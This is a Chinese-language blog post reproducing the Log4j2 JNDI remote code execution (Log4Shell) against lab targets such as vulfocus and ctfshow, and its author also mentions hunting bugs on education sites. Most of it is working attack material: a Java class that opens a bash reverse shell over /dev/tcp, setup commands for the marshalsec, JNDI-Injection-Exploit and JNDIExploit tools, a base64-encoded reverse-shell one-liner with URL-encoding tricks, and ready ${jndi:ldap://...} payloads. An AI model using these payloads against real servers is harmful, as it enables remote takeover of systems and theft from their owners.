Apache Log4j2 RCE复现


前言

这洞真的是鲨疯了,安全圈直接过年,我也借此挖了几个edu,好好体会了下挖洞的感觉,算是正式入src的门了吧。

分析

TODO:以后再补

先上个链接Apache Log4j2从RCE到RC1绕过

本地测试

详细见 apache-log4j-rce-poc

远程复现

环境1

这个环境需要用rmi

docker run -d -P vulfocus/log4j2-rce-2021-12-09:latest
POST /hello HTTP/1.1 Host: 127.0.0.1:55000 Content-Type: application/x-www-form-urlencoded Content-Length: 39 payload=xxxxx

环境2

ctfshow或其他靶机,一般使用ldap

marshalsec

仅测试了本地和ctfshow的靶机

${jndi:ldap://ip/a}触发漏洞访问ldap->ldap访问http server获取evil.class->上传evil.class并执行

1.编译java文件并启动http server

public class Log4jRCE {

    static {
        try {
            String[] cmd = {"/bin/bash", "-c", "exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public Log4jRCE() {
        try {
            String[] cmd = {"/bin/bash", "-c", "curl http://url/"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
javac Log4jRCE.java # linux可能不附带javac,需要自行安装jdk,当然也可以用IDEA
php -S 127.0.0.1:8888  # python或php均可

2.启动ldap server

git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests # 需要安装maven
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE

3.打入payload

JNDI-Injection-Exploit

JNDI-Injection-Exploit的话就可以一键了。

先用base64加密下反弹shell命令以防错误

bash -i >& /dev/tcp/IP/PORT 0>&1
# => YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE=
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE=}|{base64,-d}|bash" -A IP

确保1099、1389、8180端口可用

  • vulfocus

  • 一般环境

JNDIExploit

注意:以下操作用于vulfocus的靶机,其他环境请举一反三。

JNDIExploit更好使!能看到command执行情况,不然都发现不了问题。

base64编码,然后将里面的+号进行两次url编码(hackbar与bp需要)

bash -i >& /dev/tcp/IP/PORT 0>&1
# => YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE=
# => YmFzaCAtaSA%252BJiAvZGV2L3RjcC9JUC9QT1JUIDA%252BJjE%253D

然后启动JNDIExploit

java -jar JNDIExploit.jar -i 192.168.110.131 -l 1389 -p 8180

payload:

${jndi:ldap://ip:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252BJiAvZGV2L3RjcC9JUC9QT1JUIDA%252BJjE%253D}

如果不处理+,打进去的命令就会变成:

QA

弹shell报:

nc: getnameinfo: Temporary failure in name resolution

尝试用nc -lvnp port


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录